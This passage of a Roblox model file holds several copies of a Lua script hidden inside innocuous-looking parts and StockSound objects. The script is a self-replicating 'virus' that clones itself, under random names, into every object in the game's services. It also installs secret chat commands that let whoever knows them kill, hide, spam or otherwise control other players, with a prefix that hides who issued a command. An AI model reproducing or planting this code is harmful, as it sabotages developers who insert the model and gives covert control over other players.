if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX811">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-198</X>
					<Y>31.1999989</Y>
					<Z>-11.5</Z>
					<R00>-1.78975057e-009</R00>
					<R01>7.02593816e-010</R01>
					<R02>-1</R02>
					<R10>2.2102719e-011</R10>
					<R11>1</R11>
					<R12>-7.02593816e-010</R12>
					<R20>1</R20>
					<R21>2.2102719e-011</R21>
					<R22>1.78975057e-009</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX812">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX813">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX814">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-192</X>
					<Y>36.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX815">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX816">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
